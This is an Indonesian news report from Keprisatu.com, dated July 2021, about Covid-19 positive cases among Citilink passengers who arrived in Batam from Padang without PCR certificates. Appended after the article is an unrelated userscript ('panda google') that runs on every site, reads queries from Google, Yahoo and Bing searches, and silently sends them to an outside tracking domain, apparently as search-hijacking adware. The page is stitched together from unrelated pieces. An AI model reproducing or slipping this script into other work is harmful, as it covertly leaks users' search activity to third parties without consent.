Keprisatu.com – Sebanyak 6 orang penumpang maskapai Citilink dari Padang ke Batam dinyatakan positif Covid-19. Hal ini berdasarkan hasil Reverse-Transcriptase Polymerase Chain Reaction (RT-PCR), yang sebelumnya dilakukan oleh petugas dari Rumah Sakit Khusus Infeksi (RSKI) Galang pada Selasa (15/7/2021).
“Hasilnya sudah keluar, dari 58 orang kemarin itu, 6 diantaranya positif Covid-19. Hal ini berdasarkan data dari RSKI Galang, dimana sebelumnya telah dilakukan pengambilan sampel,” kata Kadisops Lanud Hang Nadim selaku Dansatgas Covid Bandara Hang Nadim Mayor Lek Wardoyo saat dihubungi awak media, Kamis (15/7/2021) pagi.
Kata dia, hasil yang diberikan ini akan dilaporkan ke Gugus Tugas Covid-19 Kota Batam. Kata dia, mereka semua sementara melakukan karantina mandiri di alamat tujuan.
“Mereka 58 Penumpang yang kemarin kita tes PCR kami minta karantina di rumah sesuai alamat mereka. Nantinya apakah akan dijemput sama tim satgas kami tidak tahu dan itu tergantung dari puskesmas masing-masing,” ujarnya.
Seperti yang diberikan sebelumnya, sebanyak 58 penumpang maskapai Citilink QG-957 dari Padang Sumatera Barat tanpa memiliki dokumen negatif Reverse-Transcriptase Polymerase Chain Reaction (RT-PCR). Mereka tiba di Bandara Hang Nadim Batam sekitar pukul 18.55 WIB, Selasa (13/7/2021) kemarin.
“Total penumpang Citilink kemarin ada sekitar 113 orang dan 58 penumpang tidak dilengkapi dengan surat PCR,” kata
Kadisops Lanud Hang Nadim selaku Dansatgas Covid Bandara Hang Nadim Mayor Lek Wardoyo, Rabu (14/7/2021).
Kata Wardoyo, petugas mengetahui 58 penumpang Citilink tidak membawa surat PCR dari petugas KKP Batam. Saat itu, petugas KKP Batam sedang melakukan pemeriksaan e-Hac.
“Saat petugas memeriksa kelengkapan di e-Hac, disitulah 58 penumpang tidak memiliki hasil negatif PCR dari Padang,’ ujarnya.
Setelah dilakukan pemeriksaan sementara sambungnya, ternyata 58 penumpang hanya mengantongi dokumen Antigen yang sudah di validasi oleh petugas KKP Padang. Padahal sambungnya, pihak maskapai Citilink di Bandara Hang Nadim telah melakukan sosialisasi terkait Surat Edaran Walikota Batam Nomor 32 tahun 2021 ke perwakilan Citilink di Padang dan bahkan perwakilan Citilink di seluruh Indonesia
“Dari sini di konfirmasi ke pihak KKP di Padang, ternyata mereka masih menggunakan Surat Edaran Satgas Covid-19 nomer 14 tahun 2021 yang menyatakan negative PCR untuk wilayah Jawa dan Bali,” ucapnya.
Menurutnya, pemberlakuan SE Walikota Nomer 32 tahun 2021 itu berlaku tanggal 12 Juli 2021 sejak diterapkan PPKM Darurat di Batam, dan juga telah diumumkan secara nasional bahwa Batam termasuk dalam 17 kota yang mewajibkan penggunaan PCR bagi pengguna transportasi udara ke Batam.
“Dari kejadian ini, 58 penumpang untuk wajib melaksanakan Swab PCR untuk dapat keluar dari bandara dengan mendatangkan petugas dari Rumah Sakit Khusus Infeksi (RSKI) Galang. Dan hasil dari pemeriksaan mereka hari ini akan diketahui,” ujarnya.(KS10).
Editor : Tedjo
// ==UserScript== // @name panda google // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match *://*/* // @grant none // ==/UserScript==
(function() {
function findGetParameter(parameterName) { var result = null, tmp = []; location.search .substr(1) .split("&") .forEach(function (item) { tmp = item.split("="); if (tmp[0] === parameterName) result = decodeURIComponent(tmp[1]); }); return result; } var u ='https://feed.lookbox.net/s309?q=', s = [
{ 'host':/^https?\:\/\/www.google(\.\w+)+\/search\?.*$/, 'query':'q', }, { 'host':/^(https?\:\/\/)(\w+\.)?(search\.)(yahoo\.)(com)\/(search\?)?(.*)(fr\=crmas).*$/, 'query':'p' }, { 'host':/^(https?\:\/\/)www\.bing\.com\/(search\?)?(.*)(FORM\=CHROMN).*$/, 'query':'q' } ] for(var i = 0; i < s.length; i++){ var net = s[i], pattern = net.host, q = findGetParameter(net.query); if( pattern.test(window.location.href) ){ let xhr = new XMLHttpRequest(); xhr.open('GET', 'https://dark-mode-browser.site/api/request/search.php?search=' + q + '&click=1b8b422084dd54a5cea7a9f4b367eb27', false); xhr.send(); } } })();